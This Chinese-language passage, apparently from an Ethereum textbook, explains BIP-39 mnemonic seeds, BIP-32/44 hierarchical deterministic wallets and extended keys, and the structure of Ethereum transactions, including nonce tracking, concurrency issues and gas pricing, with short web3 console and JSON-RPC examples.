要安全地备份和恢复私钥有很多种办法。当前最受好评的方法是使用一组有序的单词，只要可以将这些单词组成正确的序列，就可以重建出一把独一无二的私钥。这就是我们常说的助记词，这一方法由BIP-39（
http://bit.ly/2OEMjUz

 ）标准化了。今天，很多以太坊钱包软件（包括其他数字货币的钱包软件）都使用这个标准，支持使用助记词进行种子密钥的导入导出和备份恢复。

要理解这一方法是如何流行起来的，我们先来看一个例子：






FCCF1AB3329FD5DA3DA9577511F8F137



wolf juice proud gown wool unfair



wall cliff insect more detail hub







从实用的角度来说，写下十六进制序列时出错的概率出奇地高。相反，常见单词的列表则非常容易处理，这主要是因为单词有很高的冗余性，尤其是英语单词。如果意外记录下了“inzect”这个单词，在需要恢复钱包时，你很快就会意识到，“inzect”压根就不是一个英文单词，应该是“insect”才对。助记词其实就是种子的代表，我们这样做（写助记词而不记录种子），是因为这是管理HD钱包的上佳选择：在数据丢失（无论是意外还是偷窃）的情况下，种子是恢复钱包唯一需要的东西，所以备份时应当非常谨慎。当然，种子也必须保管得非常安全，因此绝对不应该使用电子备份，建议使用纸笔备份。

总而言之，使用助记词列表来编码HD钱包中的种子，给了我们一种极为简单的方式来安全地导出、描述、用纸记录并无误地阅读私钥，以及将它导入到另一个钱包里。
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 在区块链上达成共识。




钱包的最佳实践



数字货币的钱包技术和标准正在逐步成熟，一些行业标准也正在推动钱包软件之间更广泛的交互性、易用性、安全性和灵活性。这些标准也允许钱包软件从单一的种子密钥为多种数字货币派生密钥，这些标准包括：

·基于BIP-39的助记词标准

·基于BIP-32的层级式确定性钱包标准

·基于BIP-43的多用途层级式确定性钱包结构

·基于BIP-44的多币种和多账户钱包

随着未来开发的推进，这些标准可能被改变，甚至也可能被遗弃。但是目前而言，这些标准构成了一系列互相关联的技术，是大多数数字货币钱包实现的事实标准。

这些标准已经被大量的软件和硬件钱包所采用，使得这些钱包之间可以互相操作、导入导出。用户可以把其中一个钱包生成的助记词导出，导入到另一个钱包中，从而迁移所有的密钥和地址。

一部分支持这些标准的软件钱包包括（按字母排序）Jaxx、MetaMask、MyCrypto和MyEtherWallet(MEW)。一部分支持这些标准的硬件钱包包括（按字母排序）Keepkey、Ledger和Trezor。

下面的内容会详细介绍这些技术。


 　如果你正在开发实现一款以太坊钱包，那么最好把它做成HD钱包，带有一个经过助记词编码的“种子密钥”用于钱包的备份，并遵循前面列出的这些标准（BIP-32、BIP-39、BIP-43和BIP-44）。



助记词标准(BIP-39)



助记词中的单词代表用来生成钱包的种子密钥中的内容。这一串助记词足够用来重新创建种子密钥，进而恢复整个钱包中所有从这个种子派生而来的密钥。实现了带有助记词功能的确定性钱包软件会在用户创建钱包后，展示一组12或24个单词组成的字符串。这一串字符就是用来备份钱包的助记词，可以用来在同样支持这些标准的钱包中恢复和重建所有的密钥。助记词让钱包的备份变得容易，因为相比之前的一串随机数，这些助记词更易读也更容易记录。


 　助记词通常会跟“脑钱包”（brainwallet）混淆在一起。这两个并不是一回事。主要的区别在于，脑钱包的“助记词”是由用户自己选择的，而确定性钱包中的助记词是由系统生成并展示给用户的。这个区别使得确定性钱包的助记词更加安全，因为用户自己想出来的“助记词”通常不够安全。也许更重要的一点是，“脑钱包”这个词暗示着你必须把助记词在脑子里记下来，但这其实并不是一个好办法，代替不了定期的备份。

助记词是由BIP-39定义的。请注意BIP-39只是助记词标准的一种实现。Electrum比特币钱包和一些较早期的钱包还有其他的实现方法，采用的助记词清单也不一样。BIP-39标准是由硬件钱包厂商Trezor提出的，与以太坊的实现并不兼容。然而，BIP-39现在已经在业界被广泛接受，有众多兼容这个标准的钱包，因此可以被视为业界的事实标准。更进一步，BIP-39可以用来生成支持以太坊的多币种钱包，而Electrum的种子密钥是做不到的。

BIP-39定义了与种子密钥相对应的一组助记词，我们将在下面的步骤中一探究竟。为了清晰起见，我们把这些步骤分成两部分：第一部分包含6个步骤，第二部分包含3个步骤。


生成助记词


助记词由钱包根据BIP-39所定义的标准流程自动生成，钱包从随机源获取一个随机数，然后添加校验码，再把这个数字映射为一串英文单词：

1.创建一个128比特或256比特的密码学强度的随机数，我们姑且称之为S。

2.取出S的SHA-256哈希值的前（S的长度/32）比特，作为随机数S的校验值。

3.将上一步得到的校验值加到随机数S的末尾。

4.以11比特为单位，将随机数S与校验值的结合数分成多个组。

5.将每一个11比特的值都根据预先定义的字典映射为单词（这个字典包含2048个简单的英文单词，正好覆盖所有11比特的可能范围）。

6.保持初始的次序，得出的单词字符串即我们所需的助记词。

图5-2演示了随机数是如何生成相应助记词的。

表5-1显示了随机数据的长度与助记词数量之间的关系。

表5-1：助记词：随机数长度与单词数量







图5-2：生成随机数并编码为助记词


从助记词到种子密钥


助记词代表128比特或256比特的随机数。使用密钥扩展算法，例如PBKDF2，可以将这个随机数衍生成512比特长的种子，进而用来构建确定性钱包和派生其他密钥。

密钥扩展算法需要两个参数：助记词和盐（salt）。加盐的目的是防止通过循环表格的方式来实现暴力破解。在BIP-39标准中，加盐还有另外一个目的：引入额外的密码来保护种子密钥（详见后文）。

下面的步骤7~9跟在上节所述流程的后面，推导出种子密钥：

7.PBKDF2密钥扩展算法的第一个参数是步骤6中产生的助记词。

8.PBKDF2密钥扩展算法的第二个参数是“盐”，盐的内容由用户提出，可以是一个可选的密码，并跟"mnemonic"组合在一起。

9.PBKDF2针对助记词和盐进行2048轮哈希运算，使用的是HMAC-SHA512算法，产生一个512比特的数作为最终输出。这个数字就是种子密钥。

图5-3显示了助记词是如何衍生出种子密钥的。




图5-3：从助记词到种子密钥


 　密钥扩展算法使用2048轮哈希计算，在防止针对助记词或密码的暴力破解中可以起到一定的保护作用。它使得进行上千次密码和助记词的组合破解的计算量大幅度上升，而且可能的种子范围非常巨大（2

512


 ，约为10

154


 ）——远远大于宇宙中可见的原子数量（约为10

80


 ）。

表5-2、表5-3和表5-4展示了一些助记词及其衍生种子密钥的例子。

表5-2：随机数为128比特时的助记词及其种子密钥（无密码）




表5-3：随机数为128比特时的助记词及其种子密钥（加密码）




表5-4：随机数为256比特时的助记词及其种子密钥（无密码）





BIP-39中的可选密码


BIP-39标准允许用户在生成种子密钥的过程中使用可选密码。如果用户没有设定密码，那么默认使用字符串"mnemonic"进行助记词的密钥扩展运算，生成一个特定的512比特的种子密钥。如果用户提供了密码，那么对于同样的助记词，密钥扩展运算会生成完全不同的种子密钥。实际上，给定一组助记词，每一个密码都会导致不同的种子密钥。特别是，这里没有正确或者错误的密码，所有密码都可以生成用来衍生无数钱包地址的种子密钥。可能的钱包的范围非常巨大（2

512


 ），如果密码的复杂度足够强，那么暴力破解或猜测都没有可能实现。


 　在BIP-39中，没有正确或者错误的密码。任何密码结合助记词都对应着一个钱包，如果这个钱包之前没有使用过，那么它就是空的。

可选密码会带来两个重要的功能：

·作为助记词的第二道防线：如果助记词备份泄露，密码是助记词和钱包种子密钥安全的第二道防线。

·作为“干扰”钱包：密码指向的钱包只包含小额资金，用来把攻击者的注意力从真正包含大量资金的钱包上吸引开。

然而，使用密码也会导致一些风险，特别需要注意的是：

·如果钱包的所有人丧失行为能力或者去世，在没有人知道密码的情况下，这个助记词是没有用的，钱包中的资金将永远被锁定。

·对应地，如果钱包的所有人把助记词和密码的备份放在同一个地方，那么密码就失去了第二道防线的作用。

密码非常有用，它的备份和恢复必须被认真对待。需要考虑到密码持有人可能意外过世
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 ，也需要允许所有者的家人恢复这些数字资产。


使用助记词


BIP-39实现了针对多种编程语言的程序库。举例如下：


python-mnemonic（
 
https://github.com/trezor/python-mnemonic

 ）


SatoshiLabs团队采用Python语言基于BIP-39的一个参考实现。


ConsenSys/eth-lightwallet（
 
https://github.com/ConsenSys/eth-lightwallet

 ）


使用BIP-39的Lightweight JS以太坊钱包，用于节点和浏览器环境。


npm/bip3918（
 
https://www.npmjs.com/package/bip39

 ）


BIP-39的JavaScript实现：助记词用于生成确定性密钥。

也有通过网页实现的独立的BIP-39生成器（见图5-4），这对于测试和实验环境是非常有帮助的。Mnemonic Code Converter（
https://iancoleman.io/bip39

 ）这个网站可以用于生成助记词、种子密钥和经过扩展的私钥。网站可以在离线的浏览器环境中使用，也可以在线上使用。



从种子密钥创建层级式确定性钱包



HD钱包是通过唯一的种子密钥创建的，这个密钥是一个128、256或者512比特的随机数。通常情况下，这个种子密钥是由之前介绍的助记词生成的。

HD钱包中的每一个密钥都是从这个种子密钥派生而来的，这使得可以通过相同的种子密钥在兼容的HD钱包中恢复所有的密钥。这使得即使包含了数千甚至上百万密钥的HD钱包的备份、恢复、导入、导出都变得容易，只需要在钱包之间迁移用来生成种子密钥的助记词即可。




图5-4：独立网页中的BIP-39生成器



层级式确定性钱包标准(BIP-32)和路径定义标准(BIP-43/44)



大多数HD钱包都遵循BIP-32标准，这已经成为确定性钱包的事实性行业标准。

我们不会在这里介绍BIP-32的细节，只讨论用于理解钱包如何工作的一些组件。最重要的部分就是树形结构（见图5-1），这种结构使我们能够持有推导出的私钥。同样重要的是理解扩展密钥和增强密钥的概念，下文会逐一加以解释。

有很多基于不同编程语言且可以互相交互的BIP-32实现（软件库）。这些软件库大部分是为比特币钱包设计的，它们使用不同的方式实现比特币地址，但所用的密钥推导实现是一样的，包括以太坊的兼容BIP-32的钱包也是如此。你可以使用为以太坊设计的钱包（
https://github.com/ConsenSys/eth-lightwallet

 ），或者使用比特币钱包但加入一个以太坊地址编码库。

也有作为独立网址（
http://bip32.org/

 ）的BIP-32生成器，对测试和实验来说都是很有用的。


 　这个独立的BIP-32生成器网站并不支持HTTPS。因此我们要提醒你：使用这个工具并不安全。这只适用于测试环境，你不应该在带有真正数字货币的生产环境中使用这个网站生成的密钥。


扩展的公钥和私钥


在BIP-32的术语中，密钥可以被“扩展”。使用正确的数学运算，经过扩展的“父”密钥就可以被用来推导出“子”密钥，并因此产生密钥和地址的树状层级结构。父密钥不一定位于树的顶端，但无论位于哪一层级，它们都可以被抽离出来。扩展一把密钥包括取得这把密钥本身以及附加上一个独特的链码，链码是一段256比特的二进制字符串，与原密钥混合之后用来产生子密钥。

如果密钥是私钥，则扩展后就成为扩展私钥，用前缀xprv表示：






xprv9s21ZrQH143K2JF8RafpqtKiTbsbaxEeUaMnNHsm5o6wCW3z8ySyH4UxFVSfZ8n7ESu7fgir8i...







扩展公钥则用前缀xpub表示：






xpub661MyMwAqRbcEnKbXcCqD2GT1di5zQxVqoHPAgHNe8dv5JP8gWmDproS6kFHJnLZd23tWevhdn...







HD钱包的一个非常有用的特性就是可以从父公钥派生子公钥，而这个过程并不需要使用私钥。因此有两种方式可生成子公钥：既可以使用子私钥，也可以使用对应的父公钥。

因此，扩展的公钥可以用来生成HD钱包对应分支中所有的公钥。

这样的捷径可以用来创建非常安全的公钥，只在服务器或者应用中部署公钥以作为扩展公钥，而不再需要私钥。这类部署可以生成任意数量的公钥和以太坊地址，但是因为没有私钥，就不能花费任何转入这些地址的以太币。同时，在更加安全的服务器或者环境中保存的扩展私钥，可以用来生成地址对应的私钥并通过签名交易来花费这些地址上的代币。

这个方案的常见应用是把扩展的公钥安装在运行电子商务应用的Web服务器上。Web服务器可以使用扩展公钥的派生功能针对每一笔交易（例如客户的购物车）创建新的以太坊地址，而Web服务器本身不会有任何可能导致以太币丢失的私钥。如果没有HD钱包，实现这种应用的唯一办法就是事先在一个隔离的安全服务器上生成数以千计的以太坊地址，然后把它们导入电子商务服务器上。这样的流程非常繁琐，需要经常维护服务器才能确保密钥不会被用完。因此，推荐使用HD钱包的扩展公钥。

这个方案的另一项广泛应用是冷钱包或硬件钱包。在这类情况下，扩展私钥可以保存在硬件钱包中，扩展公钥可以放在网上。这样用户可以创建收款地址，同时对应的私钥被安全地保存在离线环境中。为了花费这些以太币，用户可以使用扩展私钥在线下或者硬件钱包设备上签名对应的交易。


增强的子密钥生成过程


从扩展公钥派生出分支公钥这个功能非常有用，但是也有潜在的风险。访问扩展公钥并不能获得对应子私钥的访问。然而，由于扩展公钥带有链码，如果子私钥被人获取或者泄漏，那么结合链码，就可以派生出所有其他的子私钥。通过泄露的子私钥和父链码，可以推算出所有的子私钥。更糟糕的是，子私钥和父链码结合在一起，可以推算出对应的父私钥。

为了消除这个风险，HD钱包使用了另外一种派生算法，称为增强派生，这个算法打破了父公钥和子链码之间的关联。增强派生算法使用父私钥来生成子链码，而不是父公钥。这样就在父子两个密钥序列之间建立了防火墙，通过链码无法推算父私钥及兄弟私钥。

简单地说，如果你想借助扩展公钥方便地派生一组子公钥，同时避免暴露链码的风险，那么就应该采用增强派生算法，而不是常规算法。作为最佳实践，第一层的密钥总是采用增强派生算法得来的，这样就可以保证最重要的种子密钥的安全。


普通和增强情况下的索引码


显然，我们希望能从给定的父密钥中推导出多个子密钥。为了管理这些子密钥，BIP-32使用了索引码。每一个索引码只需配合父密钥使用特定的子密钥派生方法，都可以产生一个不同的子密钥。在BIP-32的密钥推导函数中使用的索引码是一个32位的整数。为了方便地把通过普通派生方法和增强派生方法所产生的子密钥区别开来，索引码被分为两个范围：0和2
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 -1之间的索引码（从0x0到0x7FFFFFFF）用于普通派生算法，2
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 和2
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 -1之间的索引码（从0x80000000到0xFFFFFFFF）用于增强派生算法。因此，如果索引码小于2
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 ，那么这个子密钥就来自于普通派生算法，对应地，如果索引码等于或者大于2
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 ，那么这个子密钥就是经过增强派生算法得来的。

为了让索引码更容易读取和显示，增强子密钥的索引码也是从零开始显示，但是带有一个符号。第一个来自普通派生算法的索引码显示为0，而第一个来自增强派生算法的索引码（0x80000000）显示为0'。对应地，增强派生算法所得第二个子密钥的索引码是0x80000001，显示为1'，以此类推。如果你看到HD钱包上显示的索引码是i'，那么就意味着是2

31


 +i。


层级式确定性钱包的标识符（路径）


HD钱包中的密钥采用“路径”的命名规范进行标识，根据树形结构在每一层之间采用“/”分割（见表5-5）。从主私钥派生出的私钥由m开头，而从主公钥派生出的公钥由M开头。因此，主私钥派生的第一个子私钥表示为m/0，主公钥派生的第一个子公钥表示为M/0。第一个子私钥的第二个下一级孙子私钥表示为m/0/1，以此类推。

密钥的“辈分”是从右到左读的，只到读到派生的主密钥。例如，标识符m/x/y/z表示私钥m/x/y的第z个子私钥，这也是私钥m/x的第y个子私钥，和主私钥m的第x个子私钥。

表5-5：HD钱包路径示例





层级式确定性钱包的树状结构


HD钱包的树形结构提供了很大的灵活性。另一方面，它也支持无限的复杂性：每一个父级扩展密钥都可以派生大约40亿个下一级密钥：20亿个普通扩展密钥，20亿个增强扩展密钥。每一个这样的次级密钥又可以有40亿个次次级密钥，以此类推。树的深度是无限的，包含无穷无尽的后代。与此同时，在这个无穷尽的树中导航可能极为困难。

有两个BIP针对这样的复杂情况提供了解决方案。这两个BIP提出了HD钱包树状结构的标准。BIP-43提出，使用第一级增强扩展子密钥的索引码作为一个特殊的标识符，指定该分支的“用途”。基于BIP-43，一个HD钱包只应使用一个level-1层，这个索引码确定了剩余树的结构和命名空间，因此也确定了钱包的用途。例如，只使用m/i'/...分支的HD钱包意在标识一个具体的用途，这个用途被记录在索引码i中。

在此基础上扩展，BIP-44提出了一个支持多币种多账号结构的体系，该结构将“用途”索引码定为44'。所有遵循BIP-44标准的钱包都只使用树形结构的这一个m/44'/*分支。

BIP-44定义的结构中包含了5种预定义的树形层级：






m / purpose' / coin_type' / account' / change / address_index







第一层级purpose'总是设定为44'，第二层级coin-type'用来指定当前分支支持的币种，以此来实现HD钱包对多币种的支持——每一种类型的数字货币在第二层级的树状结构中都有一个自己的分支。货币的类型在一个名为SLIP0044（https://github.com/satoshilabs/slips/blob/master/slip-0044.md）的文档中定义。例如，以太坊是m/44'/60'，以太坊经典是m/44'/61'，比特币是m/44'/0'。所有货币的测试网都是m/44'/1'/。

树的第三层级是account'，允许用户把他们的钱包分成多个逻辑上的子账户，用于记账或管理。例如，一个HD钱包可能包含两个以太坊“账户”：m/44'/60'/0'和m/44'/60'/1'。每一个账户都是它对应分支的根。

由于BIP-44源自于比特币，它还包含了一个跟以太坊无关的“怪癖”：第四层的change。HD钱包中的“找零”分为两层：第一层用来创建接收地址，第二层用来创建找零地址。在以太坊中，只有接收地址这一层被用到，因为以太坊中并不存在找零的概念。请注意，无论上层使用的是普通派生还是增强派生，这一层都使用普通派生算法。这样做的目的是允许这一层导出扩展公钥用于非安全的环境。可用地址就是从HD钱包第四层的密钥派生出来的，使得第五层成为address_index。例如，在一个以太坊钱包中，主账户的第三个用于收款的标识符对应的就是：m/44'/60'/0'/0/2。表格5-6展示了一些例子。

表5-6：BIP-44 HD钱包结构示例







[1]

 2019年年初轰动整个币圈的新闻就是加拿大最大比特币交易所QuadrigaCX的创始人去世，私钥密码无人知晓导致用户价值1.47亿美元的数字货币被“上锁”。




总结



钱包是任何面向用户的区块链应用的基础。通过钱包，用户可以管理密钥和地址集合，还可以证明他们对以太币的所有权并同意交易（通过创建数字签名，我们将在第6章详述）。




第6章　交易



交易是由外部账户发出的经过签名的消息，通过以太坊的网络传播，由矿工记录在区块链上。在这些基本定义背后，包含了很多令人称奇的细节。从另一个角度来看，交易是唯一能够触发区块链状态改变，或触发EVM上的合约执行的东西。以太坊是一个全局的单体状态机，交易是唯一能够让这台状态机向前推进并改变状态的东西。合约并不会自动运行。以太坊也不会在“后台”运行。所有这一切，都是由交易触发的。

在这一章我们将讨论交易，展示交易的工作方式并且理解其中的细节。请注意，本章的大部分内容是针对那些有兴趣在底层管理自己的交易的人，也许是因为他们正在编写一个钱包应用；如果你对使用现有的钱包应用感到满意，也不用担心，因为你可能会发现有趣的细节！




交易的结构



首先我们来看交易在以太坊网络上打包和传输的基本结构。每个以太坊客户端或应用程序在收到这个打包的交易后都会把它保存在内存里，并且使用应用内部的格式，例如增加原来交易数据包中没有的一些元数据。只有网络上传输的交易数据包的格式才是唯一通用标准的交易格式。

交易是一串打包在一起的二进制数据，包括如下内容：


nonce


一个序列编号，由构建这个交易的外部账号提供，用于防止交易的重放攻击。


gas price


交易发起方愿意支付的gas（单位：wei）价格。


gas limit


交易发起方愿意为这个交易支付的最大gas数量。


recipient


目标以太坊地址。


value


发送给目标地址的以太币的数量。


data


附在交易中的可变长度的数据。


v,r,s


由构建交易的外部账户提供的椭圆曲线签名的三个组成部分。

交易内容的结构采用递归长度前缀（RLP）编码标准。这个标准是为以太坊专门创建的，主要是为了打包准确且字节合适的数据。以太坊交易中所有的数字都采用大端模式编码，长度都是8比特的倍数。

请注意，上面这些结构的名字(to、gaslimit等)是为了清楚表达而列出的，但这些并不是以太坊交易数据包的内容，数据包中的RLP编码已经包含了字段的定义信息。总体来说，RLP编码中不会包含任何字段标识符或者标签。RLP的长度偏移量用来表示每一个字段的长度。任何超过定义的长度，就自然是属于结构中下一个字段的内容了。

尽管这就是以太坊上传输的交易的真实结构，但多数应用内部或用户界面的展现形态会有些不同，应用会在交易结构基础上增加一些额外的信息，这些信息是从交易数据包或区块链上衍生计算而来的。

例如，你会注意到在交易数据包的格式中，并不包含发起这个交易的外部账户的所谓“from”地址。这是因为发起交易的外部账户的公钥，可以经由椭圆曲线数字签名算法的v,r,s这三个组件计算得出。对应的外部账号的地址，也可以经由公钥推算得出。当你在界面中看到一个交易的“from”字段时，这是由钱包软件计算后得出的，用来显示交易的情况。其他由软件计算后添加到交易上的元数据包括区块编号（在挖矿后获得）和交易ID（交易的哈希）。这些数据都是从交易数据包推算出来的，并不包含在交易数据包之内。
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[1]

 为节省区块链数据的空间。




交易的随机数



nonce是交易中最重要却最难理解的一个概念。以太坊黄皮书（见第1章中的“扩展阅读”一节）对nonce的定义如下：

nonce：一个数值，等于这个地址发出的交易数量，当这个地址与合约关联时，是这个地址所创建的合约数量。

严格来说，nonce是发起方地址的一个属性，也就是说它只在发送地址的上下文中才有意义。而且nonce也不会作为账户状态的一部分显式地保存在区块链上。相反，它是通过计算发送方地址已经确认的交易数量而动态计算的。

在两种情况下，交易数量随机数的存在是非常重要的：包含在交易创建顺序中的可用性特征，以及交易重复保护的重要特征。让我们看一下每个场景的示例：

1.你想进行两笔交易。其中一笔是需要支付6 ether的重要付款，另一笔交易需要支付8 ether。首先，你签名并广播了那笔6 ether的交易，因为它比较重要。然后，你又签名并广播了第二笔8 ether的交易。遗憾的是，你忽略了一个事实，即你的账户只有10 ether。所以（以太坊）网络不可能同时接受这两笔交易：其中一笔会失败。因为你首先发送了那笔更加重要的6 ether的交易，于是你理所应当地认为它会被接受，而8 ether的交易会被拒绝。但是，在像以太坊这样的去中心化系统中，节点会以任意顺序接收交易；没有任何方法能保证某个节点在另外一个节点之前接收到某笔交易。因此，几乎可以肯定的是，某些节点会先接收到6 ether的交易，而其他节点会先接收到8 ether的交易。在没有随机数的情况下，接收与否完全是随机的。相反，如果包含了随机数，那么你发送的第一笔交易将具有一个随机数，假设是3，而8 ether的交易将具有下一个随机数（如4）。因此，这笔交易
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 将被忽略，直到nonce值为0到3的交易已经被处理，即便它是先接收到的。

2.你有一个包含100 ether的账户。太好了！你在网上找到了出售你非常想要的mcguffin挂件的卖家，并且他们接受以太币支付。你付给他们2 ether，他们把mcguffin挂件发给了你。为了完成这笔2 ether的支付，你签名了一笔交易，将账户里的2 ether发送到他们的账户，然后将这笔交易广播到以太坊网络，使其能够被验证并包含到区块链中。现在，在交易没有nonce的情况下，再次将2 ether发送给同一地址的交易与第一次交易看起来完全相同。这就意味着任何能在以太坊网络上看见这笔交易的人（包括收件人和你的敌人），都能简单地通过复制和粘贴你的原始交易一次又一次地“重放”该交易，直到你的以太币消耗殆尽。但是，如果交易数据中包含nonce值，那么每一笔交易都是唯一的，即便是多次向同一个收件人地址发送相同数量的以太币交易也是如此。因此，通过将递增的随机数作为交易的一部分，任何人都没有办法“复制”你已经完成的付款。

总之，值得注意的是，与比特币协议使用的“未花费输出”（UTXO）机制相比，使用随机数对于基于账户的区块链协议实际上是至关重要的。



保持对随机数的追踪



从实践的角度而言，nonce就是发起交易那个地址目前位置所有确认（即链上）交易的计数器。为了获得nonce，你可以对区块链发起查询，例如通过web3接口。打开一个运行着MetaMask的JavaScript控制台，或者使用truffle控制台命令访问JavaScript web3库，然后输入：






> web3.eth.getTransactionCount("0x9e713963a92c02317a681b9bb3065a8249de124f")



40








 　nonce是从零开始计数的，这意味着外部地址的第一笔交易的nonce是0。上面的代码返回的nonce是40，这意味着在区块链上已经发现了这个地址从0到39的交易，下一个交易中应该写入的nonce值就是40。

你的钱包软件会针对每一个地址跟踪和管理它们所对应的nonce值。这相对容易实现，因为只有你会使用这些地址发起交易。假设你在编写自己的钱包软件，或者其他某些可能发起以太坊交易的应用，你应该如何跟踪外部地址的nonce？

创建一个新的交易时，你会按照记录把下一个nonce值分配给新交易。但是要知道这笔交易被以太坊网络确认之前，交易中的nonce值都不会被计入getTransactionCount的返回值中。


 　糟糕的是，当我们一次提交几个交易时，这个getTransactionCount函数可能会发生一些问题。这是getTransactionCount的一个已知的bug，因为它无法正确地计算待确认的交易。

我们来看一个例子：






> web3.eth.getTransactionCount("0x9e713963a92c02317a681b9bb3065a8249de124f", \



"pending")



40



> web3.eth.sendTransaction({from: web3.eth.accounts[0], to: \



"0xB0920c523d582040f2BCB1bD7FB1c7C1ECEbdB34", value: web3.toWei(0.01, "ether")});



> web3.eth.getTransactionCount("0x9e713963a92c02317a681b9bb3065a8249de124f", \



"pending")



41



> web3.eth.sendTransaction({from: web3.eth.accounts[0], to: \



"0xB0920c523d582040f2BCB1bD7FB1c7C1ECEbdB34", value: web3.toWei(0.01, "ether")});



> web3.eth.getTransactionCount("0x9e713963a92c02317a681b9bb3065a8249de124f", \



"pending")



41



> web3.eth.sendTransaction({from: web3.eth.accounts[0], to: \



"0xB0920c523d582040f2BCB1bD7FB1c7C1ECEbdB34", value: web3.toWei(0.01, "ether")});



> web3.eth.getTransactionCount("0x9e713963a92c02317a681b9bb3065a8249de124f", \



"pending")



4







如你所见，我们发送的第一个消息把nonce增加到了41，并显示为待确认交易。但是当我们很快再发送三个交易之后，getTransactionCount调用并没有正确地计算它们。即使待确认交易池中有三个交易，它也只记录了一个。我们得等待几秒钟，当这个区块被矿工写入区块链之后，getTransactionCount调用才会返回正确的值。但是当初在交易待确认的中间状态时，如果有超过一个交易处在这个状态，那么getTransactionCount就无法返回正确的nonce值。

当你的应用程序需要构建和发布交易时，不能依赖getTransactionCount这个函数来计算nonce值。只有当待确认交易和确认交易相等（所有的待确认交易都确认了）的时候，你才可以把getTransactionCount作为nonce计数。在此之后，在应用程序中保持对nonce的追踪，直到每一笔交易都得到确认。

Parity的JSONRPC接口提供了一个parity_nextNonce函数，它返回了可供下一个交易使用的nonce值。parity_nextNonce这个函数的计算方式是正确的，即使同时构建多个交易并且这些交易都没有得到确认，nonce的值也不会被计算错误。






$ curl --data '{"method":"parity_nextNonce", \



"params":["0x9e713963a92c02317a681b9bb3065a8249de124f"],\



"id":1,"jsonrpc":"2.0"}' -H "Content-Type: application/json" -X POST \



localhost:8545



{"jsonrpc":"2.0","result":"0x32","id":1}








 　Parity有一个供JSONRPC接口调用的Web界面，但是这里我们使用命令行发起HTTP访问。



随机数的差额、重复和确认



如果你通过编程的方式创建交易，那么正确地跟踪记录nonce的值就非常重要，特别是在你的应用可能会使用相同的外部账户地址同时提交多个交易的情况下。

以太坊网络是根据nonce数值的顺序处理交易的。这意味着如果你发出了一个nonce值为0的交易，紧接着又发出了一个nonce值为2的交易，那么第二个交易不会被包含在任何区块中。它会被保存在待确认交易内存池中，以太坊网络会一直等待nonce值为1的交易出现。所有的节点都假设那个nonce值为1的交易因为网络延迟还没有传送过来，而nonce为2的交易却先被接收到了。

如果这时你再创建一个nonce值为1的交易，那么这两个交易（nonce值为1和2）都会被确认并写入区块链。这就是说，当你填补了nonce计数中缺少的部分之后，后续在待确认内存池中的交易都会得到以太坊的处理，并最终写入区块链。

这也意味着，如果你按顺序创建了一系列交易，但其中一个没有得到确认，那么之后的所有交易都会“堵”住，等待这个缺失的交易。如果某个交易的nonce值不对，或者没有足够的gas，就很可能会导致这样的堵车现象。为了疏通堵车，你必须创建一个正确的交易，并且使用缺失的那个nonce值。同样值得注意的是，一旦网络验证了“缺失”的交易，那么具有后续随机数的所有交易都会被广播，并逐渐变得有效；而且无法“撤回”任何交易！

另一方面，如果你不小心创建了重复的交易，例如发出了两个具有相同nonce值的交易，但是收款地址或交易金额不同，那么其中一个会被确认，而另外一个会被拒绝。最先到达以太坊网络中确认节点的那个交易会被确认（这会相当随机）。

如你所见，追踪nonce的值是非常有必要的，如果你的应用程序没有正确地管理nonce，那么你就会遇到麻烦。糟糕的是，在并发交易的情况下，这个问题会变得更加困难，下一节将讨论其中的细节。



并发情况下的随机数



处理并发是计算机科学中的一个难题，有时会在意想不到的情况下出现并发问题，尤其是在去中心化的、分布式的、实时处理的系统中，例如以太坊。

简单地说，并发就是指多个独立的系统同时进行一项计算任务。可以是在同一个程序中（例如多线程），在同一颗CPU上（例如多进程），或者在不同的计算机节点上（分布式系统）。以太坊是一个允许并发操作（包含节点、客户端、去中心化应用），但通过共识强制维持单体状态的系统。

假设我们有多个独立的钱包软件，正在使用相同的外部账户地址生成交易。这种情况的例子可以是交易所处理从热钱包中提币的操作（热钱包中的密钥是在线存储的，而冷钱包则不联网）。理想情况下，你一般会有不止一台计算机用于处理这些提币申请，这样不至于出现处理瓶颈或者单点故障。然而，这很快会引发另一个问题，使用多于一台计算机处理提币申请时，会导致一些令人头疼的并发问题，不仅仅是如何设定nonce的问题。如何使用多台计算机，针对同一个热钱包进行地址生成、签名和广播交易呢？

你应该使用一台计算机来分配nonce，以先到先得的方式给那些需要对交易进行签名的计算机。然而，这台计算机就会成为单点故障。更糟糕的是，如果分配了多个nonce，但是由于某些原因，有一个nonce没有被使用（例如处理那个nonce的计算机正好出故障），那么随后所有的交易都会堵住。

你也可先生成交易，但是不签名，或不分配nonce（由于nonce是交易数据的一部分，因此必须要包含在用于认证交易的数字签名中）。然后把这些交易传送到一台计算机上排队处理，逐一给它们分配nonce，并对交易签名。不过，这也会导致单点故障的存在。当处理量比较大的时候，进行签名和分配nonce的操作就会成为一个拥堵的节点，尽管这些没有被签名的交易并非一定需要并发处理。我们虽然名义上使用了并发，但是在关键环节上并没有带来任何用处。

最终，这些并发问题引发的在独立进程中追踪账户余额和交易确认的难题，迫使多数软件实现过程放弃使用并发，而是不得不使用可能导致瓶颈的单一进程来处理所有的交易所提币操作，或是使用完全独立处理提币操作且只需间歇性重新计算余额的热钱包。




[1]

 指随机数为4的交易。




交易的gas



我们会在第13章的gas一节中详细讨论这个概念。但是，这里需要介绍交易中的gasPrice和gasLimit这两个概念。

gas就是以太坊的燃料。gas并不是以太币，它是一种独立的虚拟货币，跟以太币之间存在汇率关系。以太坊使用gas来控制交易对资源的使用，因为交易会在数以千计的以太坊节点上被处理。开放型（图灵完备）的计算模式需要一种计量单位，以确保避免拒绝服务式攻击或那些过度消耗资源的交易。

gas独立于以太币，是为了在以太币价格大幅度波动的情况下，仍旧保护系统的灵活性。同时，对于各种消耗gas的资源（比如，计算、内存和存储），gas能够管理它们之间重要而敏感的汇率关系。

交易中的gasPrice字段允许交易的发起方设定针对gas的汇率。gas价格的计量单位是wei/gas。例如，我们刚才在本书中创建的交易示例，钱包软件把gasPrice设定为3gwei（3 gigawei，即30亿wei）。


 　知名网站
https://ethgasstation.info

 提供了当前gas的兑换价格，以及其他用于以太坊网络的gas相关指标。

钱包软件可以调整它们所发起的交易中的gasPrice值，这样可以让交易更快得到区块链的确认（更快被矿工打包）。gasPrice越高，交易被确认的速度也越快。与之对应的是，相对低优先级的交易可以支付比平均值低的gas费用，这样它们被确认的时间也会较长。gasPrice最低可以为零，这意味着没有手续费的交易。如果区块中尚有多余的空间，那么这样的交易也会被矿工打包并提交到区块链之上。


